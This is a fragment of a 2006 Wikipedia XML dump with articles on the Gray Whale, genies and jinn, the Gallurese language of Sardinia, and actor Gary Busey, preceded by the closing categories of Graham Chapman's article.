* Graham Chapman's eulogy, delivered by John Cleese:  [http://www.geocities.com/fang_club/chapman_memorial.html transcript], [http://www.consumptionjunction.com/downloads/cj_24944.wmv video clip]

{{MontyPython}}

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! [[At Last the 1948 Show]]
|- 
| [[Tim Brooke-Taylor]] --- '''Graham Chapman''' --- [[John Cleese]] --- [[Marty Feldman]] --- [[Aimi MacDonald]]
|}

[[Category:1941 births|Chapman, Graham]]
[[Category:1989 deaths|Chapman, Graham]]
[[Category:Alumni of Emmanuel College, Cambridge|Chapman, Graham]]
[[Category:Alumni of Queen Mary, University of London|Chapman, Graham]]
[[Category:English comedians|Chapman, Graham]]
[[Category:British comedy writers|Chapman, Graham]]
[[Category:English film actors|Chapman, Graham]]
[[Category:English television actors|Chapman, Graham]]
[[Category:British television writers|Chapman, Graham]]
[[Category:Cambridge Footlights|Chapman, Graham]]
[[Category:Monty Python members|Chapman, Graham]]
[[Category:Entertainers who died in their 40s|Chapman, Graham]]
[[Category:Gay actors|Chapman, Graham]]
[[Category:Gay writers|Chapman, Graham]]

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  <page>
    <title>Gray Whale</title>
    <id>13026</id>
    <revision>
      <id>41003850</id>
      <timestamp>2006-02-24T12:14:20Z</timestamp>
      <contributor>
        <username>BlankVerse</username>
        <id>169582</id>
      </contributor>
      <comment>rvt [[71.247.170.26]] + wikify date</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Gray Whale
| status = {{StatusConcern}}
| image = Gray_whale.jpg
| image_width = 250px
| image_caption = A Gray Whale spy-hopping
| regnum = [[Animal]]ia
| phylum = [[Chordata]]
| classis = [[Mammal]]ia
| subclassis = [[Eutheria]]
| ordo = [[Cetacea]]
| subordo = [[Mysticeti]]
| familia = '''Eschrichtiidae'''
| familia_authority = Ellerman &amp;amp; Morrison-Scott, 1951
| genus = '''''Eschrichtius'''''
| species = '''''E. robustus'''''
| binomial = ''Eschrichtius robustus''
| binomial_authority = [[Wilhelm Lilljeborg|Lilljeborg]], [[1861]]
| range_map = cetacea_range_map_Gray_Whale.png
| range_map_width = 250px
| range_map_caption = Gray Whale range
}}
The '''Gray Whale''' or '''Grey Whale''' (''Eschrichtius robustus''), more recently called the Eastern Pacific Gray Whale, is a [[whale]] that travels between feeding and breeding grounds yearly.  It reaches a length of about 15 meters, a weight of 36 tons and an age of 50&amp;ndash;60 years. Gray Whales were once called ''devil fish'' because of their fighting behavior when hunted. The Gray Whale is the sole species in the [[genus]] '''''Eschrichtius''''', which in turn is the sole genus in the [[family (biology)|family]] '''Eschrichtiidae'''. This animal is one of the oldest species of mammals, having been on Earth for about 30 million years. In the remote past it was preyed upon by [[Megalodon]] sharks (which are now extinct).

==Population, distribution and migration==
Two [[Pacific Ocean]] populations of Gray Whales exist: one small population travelling between the [[Sea of Okhotsk]] and southern [[Korea]], and a larger one travelling between the waters off [[Alaska]] and the [[Baja California]]. A third, North [[Atlantic Ocean|Atlantic]], population was hunted to extinction 300 years ago.

In the fall, the California Gray Whale starts a 2&amp;ndash;3 month, 8,000&amp;ndash;11,000&amp;nbsp;[[kilometre|km]] trip south along the west coast of the [[United States]] and [[Mexico]]. The animals travel in small groups. The destinations of the whales are the coastal waters of [[Baja California Peninsula|Baja California]] and the southern [[Sea of Cortez]], where they breed and the young are born. The breeding behavior is complex and often involves three or more animals. The gestation period is about one year, and females have calves every other year. The calf is born tail first and measures about 4 meters in length. It is believed that the shallow waters in the lagoons there protect the newborn from [[shark]]s.

After several weeks, the return trip starts. This round trip of 16,000&amp;ndash;22,000&amp;nbsp;km, at an average speed of 10&amp;nbsp;km/h, is believed to be the longest yearly migration of any [[mammal]]. A [[whale watching]] industry has sprung up along the coast.

==Feeding==
The whale feeds mainly on [[benthos|benthic]] [[crustacean]]s which it eats by turning on its side (usually the right) and scooping up the sediments (usually on the right) from the sea floor. It is classified as a [[baleen whale]] and has a ''baleen'', or whalebone, which acts like a sieve to capture [[amphipod]]s taken in along with sand, water and other material. Mostly, the animal feeds in the northern waters during the summer; opportunistically feeds during its migration trip, and mainly lives off its extensive fat reserves.

==Physical description==
[[Image:Greywhale845.jpg|thumb|right|200px|A Gray Whale viewed from above]]

Gray Whales are covered by characteristic gray-white patterns, scars left by [[parasite]]s which drop off in the cold feeding grounds.

==Conservation and human interaction==
The only predators of adult Gray Whales are [[human]]s and [[orca]]s. After the California Gray Whales' breeding grounds were discovered in [[1857]], the animals were hunted to near extinction there. After harvesting became inefficient because of dwindling numbers, the population recovered slowly, but with the advent of factory ships in the [[20th century]], the numbers declined again. Gray Whales have been granted protection from commercial hunting by the [[International Whaling Commission]] (IWC) since [[1946]], and are no longer hunted on a large scale.

Limited hunting of Gray Whales has continued since that time, however, primarily in the [[Chukotka]] region of eastern [[Siberia]], where large numbers of Gray Whales spend the summer months. This hunt has been allowed under an &quot;aboriginal/subsistence whaling&quot; exception to the commercial-hunting ban. Anti-whaling groups have protested the hunt, saying that the meat from the whales is not for traditional native consumption, but is used instead to feed animals in government-run fur farms; they cite annual catch numbers that rose dramatically during the 1940s, at the time when state-run fur farms were being established in the region. Although the [[Soviet Union|Soviet]] government denied these charges as recently as 1987, in recent years the [[Russia|Russian]] government has acknowledged the feeding of Gray Whale meat to animals on fur farms in the region. The Russian IWC delegation has said that the hunt is justified under the aboriginal/subsistence exemption, since the fur farms provide a necessary economic base for the region's native population.

Currently, the annual quota for the Gray Whale catch in the region is 140 whales per year. A smaller quota of 4 whales per year was established for the [[Makah]] Indian tribe of [[Washington]] at the IWC's 1997 meeting, but with the exception of a single Gray Whale killed in 1999, the Makah people have been prevented from conducting Gray Whale hunts by a series of legal challenges, culminating in a United States federal appeals court decision in December 2002 that said the [[National Marine Fisheries Service]] must prepare an [[Environmental Impact Statement]] before allowing the hunt to go forward.

As of [[2001]], the population of California Gray Whales had grown back to about 26,000 animals.

The Atlantic population of Gray Whales was hunted to extinction in the 17th century. However, in July 2005 scientists working at the [[University of Central Lancashire]] suggested that some Gray Whales be taken from the Pacific and re-introduced to the Atlantic&amp;mdash;specifically, in the [[Irish Sea]]. Their idea would create a [[whale-watching]] industry in [[Cumbria]] in the [[United Kingdom]] and bolster the relatively fragile global population of Gray Whales. There is no indication at this time as to whether the idea will actually come to fruition. [http://news.bbc.co.uk/2/hi/uk_news/england/cumbria/4692193.stm (BBC News)]

== Captivity ==
In 1972, a 3-month-old Gray Whale named Gigi was captured for brief study, and then released near [[San Diego]].

In January 1997, the new-born baby whale J.J. was found helpless near the coast of [[Los Angeles, California|Los Angeles]], 4.2&amp;nbsp;m long and 800&amp;nbsp;kg in mass. Nursed back to health in [[SeaWorld]] San Diego, she was released into the Pacific Ocean on [[March 31]], [[1998]], 9&amp;nbsp;m long and 8500&amp;nbsp;kg in mass. She shed her radio transmitter packs three days later.

== In the news ==
A lone gray whale was seen in spring [[2005]] on the eastern coastline of [[Japan]], and around [[Tokyo]] bay. It attracted crowds of whale watchers in April, but later became entangled in a fisherman's net, drowned and was washed up in early May. [http://news.bbc.co.uk/2/hi/asia-pacific/4535551.stm (BBC News)]

== External links ==

* [http://www.seaworld.org/animal-info/gray-whale/news-main.htm Information on JJ from Sea World]
* U.S. International Whaling Commission (IWC) delegation's press release announcing the establishment of a [http://www.publicaffairs.noaa.gov/pr97/oct97/iwc2.html combined Russian-Makah Gray Whale quota] (1997)
* U.S. State Department report: [http://www.users.qwest.net/~kryopak/ChukotkaHomePage.htm Russia's Chukotka Autonomous Region Overview] (1998), including the following passage documenting use of marine mammal meat in Chokotkan fur farms:
:''Marine Mammal Hunting. Marine mammal hunting is part of the traditional lifestyle of the indigenous population in coastal Chukotkan communities. Native peoples are provided with an annual quota to procure 169 whales, 10,000 ringed seals, and 3,000 walruses. Marine mammal by-products are used as food in fox ranches.''

* IWC report on [http://www.iwcoffice.org/meetings/meeting2004.htm#catches2 aboriginal/subsistence whaling quota for 2004]
* Humane Society of the U.S. page documenting the [http://www.hsus.org/marine_mammals/marine_mammals_news/federal_appeals_court_bars_makah_tribe_from_whaling.html history of the Makah whaling litigation] (2003)
* Two articles from the pro-native-whaling World Council of Whalers: [http://www.worldcouncilofwhalers.com/publications/newsletters/10.htm#chukotkan Chukotkan whaling: Technology, tradition and hope combine to save a people] (2000), and [http://www.worldcouncilofwhalers.com/whaling_around_the_world/russia.htm World whaling: Russia] (2004).
* Article from the Seattle Post-Intelligencer on cooperation between the Chukchi and Makah native people in their efforts to resume traditional whaling activities: [http://seattlepi.nwsource.com/local/196684_makah25.html Two tribes reach out across miles -- and years -- with whaling link] (2004).

{{Commons|Eschrichtius robustus}}

[[Category:Baleen whales]]
[[Category:Fauna of Canada]]
[[Category:Japanese native fauna]]
[[Category:Fauna of the United States]]

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  <page>
    <title>Genie</title>
    <id>13027</id>
    <revision>
      <id>41707031</id>
      <timestamp>2006-03-01T04:57:11Z</timestamp>
      <contributor>
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      <comment>Wight</comment>
      <text xml:space="preserve">:''This article is about the mythological creature. For the American air-to-air nuclear missile, see [[AIR-2 Genie]]. For the Internet service provider, see [[GEnie]]. For the feral child see [[Genie (feral child)]]. For Canadian film award, see [[Genie Award]].''

[[Image:Blessing_genie_Dur_Sharrukin.jpg|thumb|right|Ancient Assyrian stone relief of a genie]] 

'''Genie''' is the [[English language|English]] term for the [[Arabic language|Arabic]] &quot;jinni | جن&quot;. In [[Arabic mythology|pre-Islamic Arabian mythology]] and in [[Islam]], a jinni (also &quot;djinni&quot; or &quot;djini&quot;) is a member of the jinn (or &quot;djinn&quot;), a race of [[creature]]s. The word &quot;jinn&quot; literally means anything which has the connotation of concealment, invisibility, seclusion and remoteness.

==Etymology and definitions==
''Genie'' is  the translation of the original Arabic term ''jinn'', but it is not an [[Anglicization]], as commonly thought. It was first used in English as ''geny'' to mean a guardian spirit, with the first recorded use in [[1655]]. The word came from the French ''genie'', which in turn came from the original Latin word ''genius'', for a spirit. The Latin word predates the Arabic word ''jinn'', and the two terms have not been shown to be related. The extension of meaning to the powerful spirit in Islam appeared in [[1748]] by French translators using the French term ''genie''. The definition referring to the powerful Arabian mythological spirit has since become dominant. 

Amongst [[archeology|archeologists]] dealing with ancient Middle Eastern cultures, any mythological spirit lesser than a god is often referred to as a &quot;genie&quot;, especially when describing stone reliefs or other forms of art. This practice draws on the original meaning of the term genie for simply a spirit of any sort.

==Jinn in pre-Islamic mythology==
For the ancient Semites, jinn were spirits of vanished ancient peoples who acted during the [[night]] and disappeared with the first [[light]] of [[dawn]]; they could make themselves [[invisibility|invisible]] or change shape into [[animal]]s at will; these spirits were commonly believed to be responsible for [[disease]]s and for the [[mania]]s of some [[lunatic]]s.  Types of jinn include the [[ghul]] (night shade, which can change shape), the sila (which cannot change shape) and the [[ifrit]].

The Arabs believed that the jinn were spirits of [[fire]], although sometimes they associated them with [[succubus|succubi]], [[demons]] in the forms of beautiful [[woman|women]], who visited [[man|men]] by night to [[copulation|copulate]] with them until they were exhausted, drawing [[energy]] from this encounter just as a [[vampire]] is supposedly sustained by his victim's blood.

==Jinn in Islam==

Muslims believe that jinn are real beings. The jinn are said to be creatures with [[free will]], made of smokeless fire by [[God]], much in the same way [[human]]s were made of clay. In the [[Qur'an]], the jinn are frequently mentioned and Surat 72 of the Qur'an named [[Al-Jinn]] is entirely about them. In fact, the [[prophet Muhammad]] was said to have been sent as a prophet to both &quot;humanity and the jinn.&quot;

The jinn have communities much like human societies, they eat, marry, die etc. They are invisible to humans, but they can see humans. Sometimes they accidentally or deliberately come into view or into contact with humans.

Jinn are beings much like humans, possessing the ability to be good and bad. They have the power to transform into other animals and humans, and they are known to prefer the form of a snake. It is also known that they eat bones and their animals eat droppings, that is why it is forbidden to perform Istinja (washing) with those items. Jinns also have the power to possess humans, have much greater strength than them, and live much longer lives. In fact, according to some hadith, the great-grandson of Iblis, or the Devil (who was born before mankind), converted to Islam during the time of Muhammad, so he must have been thousands of years old. According to the majority of Islamic scholars, clear evidence exists in the Qur'an that the Devil was not an angel (as thought by Christians), but a jinn, citing the Quranic verse &quot;And when We said to the angels:'Prostrate yourselves unto Adam.' So they prostrated themselves except Iblis (The Devil). He was one of the jinn...&quot; Surat Al-Kahf, 18:50.  According to Islam, angels are different physical beings, and unlike the fiery nature of jinn, they are beings of goodness and cannot choose to disobey God, nor do they possess the ability to do evil.

In Islam-associated mythology, the jinn were said to be controllable by [[Magic (paranormal)|magically]] binding them to objects, as Suleiman ([[Sulayman|Solomon]]) [[Seal_of_solomon|most famously did]]; the Spirit of the Lamp in the sufi story of [[Aladdin]] was such a jinni, bound to an [[oil lamp]].

In the Qur'an, Suleiman had members of his army belonging to the race of jinn. Suleiman had the ability to communicate with all creatures, thus he could communicate with the jinn as well.

Evil beings from among the Jinn are roughly equivalent to the demons of Christian lore.  In mythology, jinn have the ability to possess human beings, both in the sense that they persuade humans to perform actions, and like the Christian perception of demonic possession.

==Jinn in the [[Occult]]==
In sorcery books Jinn are classified into four races after the [[classical elements]], [[Earth (classical element)|Earth]], [[Air (classical element)|Air]], [[Fire (classical element)|Fire]] ([[Ifrit#1 Ifrit in mythology|Ifrit]]) and [[Water (classical element)|Water]] ([[Marid]]) and presumed to live in them. They are collected in [[tribe]]s, usually seven, each with a [[Monarch|king]]. Each king controls his tribe and is controlled by an [[Angel]]. The Angel's name is torture to the jinn king as well as his specific tribe.

Unlike white and evil [[witch]]es, Jinn have free will; yet, they could be compelled to perform both good and [[evil]] acts. In contrast a demon would only hurt creatures, and an angel would only have benevolent intentions. Knowing what to ask a spirit to perform is key, as asking a spirit to perform a chore that runs counter to its natural tendencies could possibly anger the spirit into retaliating against the sorcerer.

==Genies in Western culture==

[[Image:Genies_compared.png|thumb|300px|right|Western media has chosen many different ways of portraying genies, from the comical to the horrific.]]

In Western fiction, after the [[Aladdin]] tale in the Western version of [[The Book of One Thousand and One Nights]], genies live in small [[oil lamp]]s and grant three wishes to the person who rubbed the lamp to release the genie while more mischievous ones take advantage of poorly worded wishes (including in one episode of the ''[[X-Files]]''). Alternately, they may grant a single wish per day.

See also: [[Aladdin (1992 film)]], [[Howl's Moving Castle|Castle in the Air]], [[I Dream of Jeannie]], [[Be Careful What You Witch For (Charmed Episode)|Charmed]]

==Jinn in Popular Culture==
Awareness about the origins of the genie myth, and the use of the original spelling ''djinn'' has become more common. Usually, the term ''djinn'' is used by authors who wish to convey a more serious interpretation of the mythical creature, rather than the comical genies the Western public has become used to such as Robin Williams character in Aladdin.

Examples include:

* Mr. Beaver in ''The [[Lion, the Witch, and the Wardrobe]]'' conjectures that the White Witch Jadis was not human (as was her claim), but was in fact half giantess and half Jinn, a descendant of [[Lilith]], Adam's &quot;first wife.&quot;
* The horror film [[Wishmaster (film)|Wishmaster]] features a hateful and evil djinni as its villain. The series has spawned four sequels.
* In the roleplaying game [[In Nomine (role-playing game)|In Nomine]] by [[Steve Jackson Games]], a band of [[demons]] in [[Hell]]'s service are called Djinn.
* In the collectible card game ''[[Magic: The Gathering]]'' there are [http://gatherer.wizards.com/?first=1&amp;last=100&amp;term=djinn&amp;Field_Type=on&amp;setfilter=Allsets&amp;colorfilter=All&amp;typefilter=All&amp;output=summary&amp;sort=name&amp;x=69&amp;y=21 more than two dozen djinn-related cards] and [http://gatherer.wizards.com/?first=1&amp;last=100&amp;term=efreet&amp;Field_Type=on&amp;setfilter=Allsets&amp;colorfilter=All&amp;typefilter=All&amp;output=summary&amp;sort=name&amp;x=48&amp;y=25 a dozen ifrit/efreet cards].
* Several references to djinn occur in the final short story, entitled &quot;Ramadan,&quot; of [[Neil Gaiman]]'s sixth ''[[Sandman (DC Comics Modern Age)|The Sandman]]'' collection, ''[[The Sandman: Fables and Reflections|Fables and Reflections]]''.
* In the ''[[Bartimaeus Trilogy]]'', a djinni is a section of five major deamons, also including Afrits (a form of Ifirt) as a creature of fire, and Marids, and Imps.
*As well in the Bartimaeus trilogy, instead of having djinni as creatures of the elements, the author (Jonathon Stroud) classifies them in a ranking system according to their power or strength. Below I will list the djinni as he portrays them from weakest to most powerful.
1. imp 2. foliot 3. djinni 4.afrit 5. marid
he hints of things that are beyond the power of a marid as being possible but they do not come up in the books.
* The fantasy-novelists [[Margaret Weis]] and [[Tracy Hickman]] have written a trilogy of fantasy books called ''[[Rose of the Prophet]]'', which is set in an Arabic-style fantasy world with djinns and efreets.
* The Weather Warden series by [[Rachel Caine]] also prominently features Djinn characters in an modern-day fantasy setting.

==See also==
*[[Aladdin]]
*[[Ifrit]]
*[[Marid]]

==Compare==
*[[Wight]]

==References==
* al-Ashqar, Dr. Umar Sulaiman (1998). ''The World of the Jinn and Devils''. Boulder, CO: Al-Basheer Company for Publications and Translations.
* Barnhart, Robert K. ''The Barnhart Concise Dictionary of Etymology''. 1995.

==External links==
{{Wikisource|Qur'an (English_translation)|Qur'an (English)}}
*[http://www.usc.edu/dept/MSA/quran/072.qmt.html Sura Al-Jinn from the Qur'an]
*[http://www.alislam.org/library/books/revelation/part_5_section_3.html True Scientific Explanation of Jinn]
*[http://www.islamonline.net/servlet/Satellite?pagename=IslamOnline-English-Ask_Scholar/FatwaE/FatwaE&amp;cid=1119503543420 Jinn Possession: Between Facts and Illusions] online Fatwa from [[islamonline.net]]
*[http://www.islamonline.net/servlet/Satellite?pagename=IslamOnline-English-Ask_Scholar/FatwaE/FatwaE&amp;cid=1119503543990 The World of Jinn and Its Secrets] online Fatwa from [[islamonline.net]]
*[http://www.islamonline.net/servlet/Satellite?cid=1120469514869&amp;pagename=IslamOnline-English-Cyber_Counselor/CyberCounselingE/CyberCounselingE A Jinn Paralyses Me At Night]
*[http://www.quranichealing.com/bpi.asp?caid=69&amp;cid=836 What are Jinns and Spirits ?] 

[[Category:Islamic mythology]]
[[Category:Legendary creatures]]
[[Category:Arabian mythology]]
[[Category:Arabic words]]

[[ar:جن]]
[[ca:Djinn]]
[[da:Djinni]]
[[de:Dschinn]]
[[es:Genio]]
[[fa:جن]]
[[fr:Jinn]]
[[gl:Xenio]]
[[hu:Dzsinn]]
[[it:jinn]]
[[nl:Djinn]]
[[pl:Dżinn]]
[[pt:Jinn]]
[[sv:Djinner]]
[[tr:Cin]]</text>
    </revision>
  </page>
  <page>
    <title>Gallurese</title>
    <id>13029</id>
    <revision>
      <id>41001775</id>
      <timestamp>2006-02-24T11:44:07Z</timestamp>
      <contributor>
        <ip>62.101.126.219</ip>
      </contributor>
      <text xml:space="preserve">'''Gallurese''' (''gadduresu'') is a [[diasystem]] of the [[Sardinian language]], spoken in the [[Gallura]] (''Gaddura''), north-eastern part of [[Sardinia]] including the town of [[Tempio Pausania]] (''Tempiu'').

Grammatical structure, pronunciation and many terms reflect a certain nearness to [[Corsica|Corsican]] (many similarities with the southern Corsican dialects of [[Sartene]] and [[Porto-Vecchio]]) with which it shared some mutual influences due to close relationships in 17th century, but many words come from the [[Sardo logudorese]] variety of [[Sardinian language|Sardinian]], which was spoken in this area in the [[Middle Ages]]. 

The [[Sassarese]] dialect, spoken in [[Sassari]]'s area, also presents similar characteristics, even if is more linked to [[Sardo logudorese]].

== Typical constitutional elements of Gallurese ==

*the plural form of nouns in -i (&quot;ghjanni or polti&quot; [doors]) like in Corsican and Italian, and not in -s like in Sardinian (&quot;jannas&quot;), [[Latin]], Spanish, Catalan, etc.
*final words in -dd- (like &quot;casteddu, beddu&quot; [castle, beautiful]), the same as in Sardinian and southern Corsican (but &quot;castellu, bellu&quot; in northern Corsican);
*-r- modified to -l- (&quot;poltu&quot;[port], while &quot;portu&quot; in Corsican and Sardinian);
*-chj- and -ghj- sounds (&quot;ghjesgia [church], occhji [eyes]), like in Corsican, when Sardinian is &quot;cresia, ogros&quot;.
*&quot;lu&quot;, &quot;la&quot;, &quot;li&quot; articles like in former Corsican dialects (&quot;u&quot;, &quot;a&quot;, &quot;i&quot; in modern Corsican, &quot;su&quot;, &quot;sa&quot;, &quot;sos&quot;, &quot;sas&quot; in Sardinian);

== Gallurese and its Corsican heritage ==

It is deeply controversial, and in fact discussed, whether Gallurese should be included in the [[Corsican language]], as a minor form or a [[dialect]] of this one, or instead included (as now is) in Sardinian. An evident similarity, indeed, exists between Corsican (especially southern dialects) and Gallurese, and as evident as the distance from the bordering Sardo logudorese. Undoubtedly the two idioms are in some elements similar and quite certainly they are reciprocally influenced.

Sardinian language is deeply conservative, ancient, Latin-based and historically influenced from [[Spanish language|Spanish]] and [[Catalan language|Catalan]]. Southern Corsican should be derived by the idiom spoken all over the island before Italian and French hard influences (dialect of [[Bastia]] presents notable similarities to Tuscan). Before French domination, standard Italian was for centuries the cultural language of the island. Moreover, it has to be noted that there was a progressive mutation of the languages between Sardinia, [[Corsica]] and [[Tuscany]].

Academically, and in scholastical classification, Gallurese is often considered a [[Sardinian language]] for two main reasons (that could be controversial):
#First of all, a ''geographical'' reason could not allow any different classification; oppositors however stress that the [[Catalan language|Catalan]] spoken in [[Alghero]] and the [[Tabarchino]] ([[Ligurian]]) spoken in the minor island of [[Sant'Antioco]] are not actually submitted to this rule.
#A genetical reason immediately follows the geographical one: undoubtedly (?), Gallurese has a common origin with the other languages of Sardinia, and it is very likely that any change, any development might have been built upon a common basic structure, and not on a different starting idiom.
This genetical reason links the Corsican languages and the Sardinian languages in a remote ''Romania africana'' : only the true Sardinian dialects are the heirs of this former unity.

But in the recent regional law (No. 26, 1997) voted by the Sardinian Parliament, the Gallurese (with the Sassarese) is not considered as a Sardinian language but in the same category as [[Catalan language]] of Alghero or [[Tabarchino]].

== Hypothesis on Gallurese's development ==

The occasions of contact between the idioms could be interesting, in order to know more about the genesis and the development of Gallurese. Before the [[Phoenician languages]], the presumed [[Paleosardinian]] language of the [[Nuragici people]] should have been evenly distributed over the island, but [[archaeological]] evidence of the language is only found at a few points on the island.

Phoenicians came and invaded the island, only two main areas remaining free from their control and their influence, the two traditionally independent areas of Sardinia: Gallura and [[Barbagia]]. Here the contact with surrounding areas was broken, supposedly. So there should locally remain the influences of [[Balari]] (a Sardinian people that came from [[Spain]]), probably with protoiberic influences. Then [[Rome]] came, and defeated Balari, therefore Rome was in Gallura too, as it was in Barbagia. Maybe it could be presumed that when the [[Latin|Latin language]] entered, only some part of the idiom was different, so the difference could have came later. 

The greatest difference could perhaps be born in the age of [[Giudicati]], it could be [[Pisa]], and the quality of the presence of Pisa to start separating the local speaking. Since the defeat of arab pirate Musetto, [[1000]]-[[1050]], Pisa was in the northern Giudicato with the sole &quot;disturb&quot; of [[Genoa]] (and the Doria family), then it would have remained there as the main dominator. As known, we know most of medieval [[sardinian history]] thanks to the Pisan ''liber fondachi'', the registry of paid [[tax]]es, which is so detailed to let us consider Pisan presence as a heavy influence. 

From this point perhaps the languages begin to part, along time producing what lets now underline that there is some [[Italian language]] and some [[Tuscany|Tuscan]] in Gallurese. But talking about Corsica, the mere institution of a common ''Regnum Sardiniae et Corsicae'' ([[1297]]), more a formal political act than a concrete creation of power at the beginning, does not allow to consider that particular relationships were established between the islands just as an effect of this institution, being the main action of [[Aragon]], at that time, the first conquer of Giudicati, mainly [[Arborea]], and it took quite a century or something more. Pisans remained in Sardinia for a while, as their [[Romanesque architecture]] and some of their idioms attest. 

It could be interesting to investigate if the Tuscan ingredients of Gallurese effectively came from this domination, because in this case, a Tuscan influence would have presumedly affected a Sardinian version, resulting in a modified Sardinian version (then it still could be a Sardinian version). It would consequently be classified as a Sardinian language for a genetical reason.

In this hypothesis we were considering Sardinian as if Corsican could modify it, but the contrary could be possible, as well, and there could also be a possible Sardinian influence on Corsican. It could also be that Corsican had been influenced by Sardinian. Or it could eventually be that they both were influenced by the same factors, received in their own territories separately and with different actions, finally producing not so distant results. External influences could consent this hypothesis: Sardinia had a wider population, and in its history has been more subject to foreign influences than Corsica. Invasions and taxes would probably have caused an eventual movement in the direction of the minor island, less probably the other way, even if the establishment of a few groups of Corsicans in Sardinia is known. Also, the little distance between Corsica and Tyrrhenic (tuscan) islands would let suppose more frequent practical contacts, while in Sardinia these contacts were more decisive on a point of local administration.

Contacts between the two islands were again intense in 17th century, when [[France]] entered in commercial relationship with Sardinia, provoking (not completely unintentionally) a certain [[contraband]] in the Bocche di Bonifacio (the narrow channel that divides the two islands); the need of using a common [[jargon]] on the coast is of evident relevance. Its diffusion however was not so wide, presumedly. 

Similarities do exist also with [[Maremma]], in southern Tuscany-northern [[Latium]], with which there were no relationships. All this would tend to suggest that a common evolution had interested the areas. Some authors like Maxia believe that, in analogy among themselves, all the coastal areas of [[Tyrrhenian Sea]] should have lived an evolutive moment perhaps at the same time. But the point is not obviously the similarity, because it would not be sufficient to a classification. Current central logudorese sardinian is not similar, in phonetics, to medieval logudorese sardinian (cfr. Pittau [http://web.tiscali.it/pittau/Sardo/silki.html]), although no one would ever deny that it is the same language. How much did it change, from what was it changing, what happened in Gallura and from what Gallurese started, are still unanswered questions, by now. 

A proposed proof of a common genetical root between Gallurese and Sardinian regards the turning to Italian language of both logudorese and gallurese people when they abandon their respective natural idioms: considering the relevant similarity in the use of their second language (Italian), it could be not immediately unfair to consider that the genetical root should be common, even if the &quot;musical&quot; result is different.

==External links==
*http://interromania.free.fr/media/pdf/maxia/studii_storici_sui_dialetti_della_sardegna.pdf 
*[http://www.ethnologue.com/show_language.asp?code=sdn Ethnologue report for Gallurese]
*http://web.tiscali.it/consultagallurese/index.html 
*http://web.tiscali.it/consultagallurese/attivita.htm 
*http://www.infosardinia.it/linguasarda.htm 
*http://www.legambientegallura.com/lo_stazzo.htm 
*http://www.sardiniapoint.it/33.html 
*http://www.unionesarda.it/unione/2000/21-10-00/GALLURA/OLB03/A05.html 
*http://www.uniud.it/cip/min_tutelate_scheda.htm
*http://eiha.crs4.it/cultura/opereWord/lingua/lingua.doc
*Walther von WARTBURG &quot;La fragmentation linguistique de la Romania&quot;, Paris, Librairie C. Klincksieck, 1967.

[[Category:Sardinian language]]
[[Category:Languages of Italy]]

{{Link FA|it}}

[[fr:Gallurais]]
[[it:Dialetto gallurese]]
[[pl:Język gallurski]]</text>
    </revision>
  </page>
  <page>
    <title>Gary Busey</title>
    <id>13030</id>
    <revision>
      <id>41684769</id>
      <timestamp>2006-03-01T01:21:52Z</timestamp>
      <contributor>
        <username>MisterHand</username>
        <id>604893</id>
      </contributor>
      <comment>Revert to revision 41438447 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{cleanup-date|January 2006}}

&lt;!-- Image with unknown copyright status removed: [[Image:GaryBusey.jpg|thumb|right|200px|Gary Busey]] --&gt;

'''William Gary Busey''' (born [[June 29]], [[1944]] in [[Goose Creek, Texas|Goose Creek]], [[Texas]]) is an [[United States|American]] [[film]] [[actor]].

He began his show-business career as a [[drummer]] in [[The Rubber Band]]. He also starred in a local television comedy show called ''Mazeppa'' in [[Tulsa, Oklahoma]].

In film, Busey is often cast as a rebel. Many consider his most noteworthy role to be his portrayal of [[Buddy Holly]] in ''[[The Buddy Holly Story]]'', for which he received an [[Academy Award|Oscar]] nomination. Among other roles, he also starred in the film adaptation of ''[[Stephen King]]'''s  ''[[Cycle of the Werewolf]]'', ''[[Silver Bullet]]'', and starred opposite ''[[Mel Gibson]]'' in ''[[Lethal Weapon]]''.

Busey attended [[Pittsburg State University]] in [[Pittsburg, Kansas|Pittsburg]], [[Kansas]], where he became interested in acting. He is listed as one of the university's &quot;outstanding alumni.&quot; He then transferred to [[Oklahoma State University - Stillwater|Oklahoma State University]], where he quit school one class short of graduation. Busey began his career in television guest roles. For example, he was the last person killed on the last episode of ''[[Gunsmoke]]''. 

On [[December 4]], [[1988]], Busey was severely injured in a [[motorcycle]] accident in which he was not wearing a helmet. His skull was fractured and doctors feared he suffered permanent [[brain damage]]. Busey made a remarkable recovery, however, and encouraged all cyclists to wear helmets. Busey had been a heavy drug user, and in [[1995]] almost died from a [[cocaine]] overdose. Only prompt medical attention saved his life; he narrowly escaped going to jail. Busey claimed that he suffered a terrifying near death experience in which he saw [[hell]] and [[Satan|the devil]]. He was so affected that he announced he had become a [[Born again|born-again Christian]]. He joined [[Promise Keepers]] and preached against drug abuse.

In [[1990]], Busey co-starred next to [[Danny Glover]] in ''[[Predator 2]]''. 

In the summer of [[2003]], Busey starred in the 13-episode [[reality TV|reality show]] ''[[I'm with Busey]]'' on [[Comedy Central]].

Busey resembles [[Nick Nolte]], an actor with whom he has sometimes been confused.

Busey is now also known to younger people for his [[cameo role|cameo appearance]] on ''[[The Simpsons]]''. Appearing in a police information video, Busey (as himself) explains [[restraining order]]s to the viewer, peppering his lecture with bouts of loud laughter at hilariously inappropriate moments. He even mocks himself, claiming that the reason he knows so much about restraining orders is because he has been the subject of twelve of them, his crime apparently &quot;being too real.&quot;

Somewhat unkindly, the &quot;Busey&quot; class in the school featured in the popular television comedy [[Malcolm In The Middle]] is a repository for dim, disruptive and mentally challenged children.

He is the father of actor [[Jake Busey]].

Busey appeared on a recent ([[July 19]],2005) episode of ''[[The Tonight Show with Jay Leno]]'' promoting his fitness show (as the second guest), and amused the audience and primary guest [[United States Senate|U.S. Senator]] [[John McCain]] with an extended [[philosophy|philosophical]] explanation of his [[oxymoron]]ic phrase: &quot;hidden reality revealed.&quot;

He is also famous for his &quot;Buseyisms.&quot;  For example, the word &quot;sober&quot; becomes &quot;Son Of a Bitch Everything's Real,&quot; while &quot;doubt&quot; becomes &quot;Debating On Understanding Bewildering Thoughts.&quot; &quot;Romance&quot; becomes &quot;Relying On Magnificent And Necessary Compatible Energy.&quot;

Busey starred in the [[VH1]] show ''[[Celebrity Fit Club]] 2'', where he lost 39 pounds.

Most recently, Busey has taken a lead role in the controversial Turkish action film ''[[Valley of the Wolves]]''. He plays a Jewish doctor, conspiring with renegade American soldiers in occupied Iraq to steal the organs from slain or captured Iraqis and sell them on the black market. Among other things, the film in general and his role in particular has been criticized in American media outlets for being anti-semitic.

==External links==
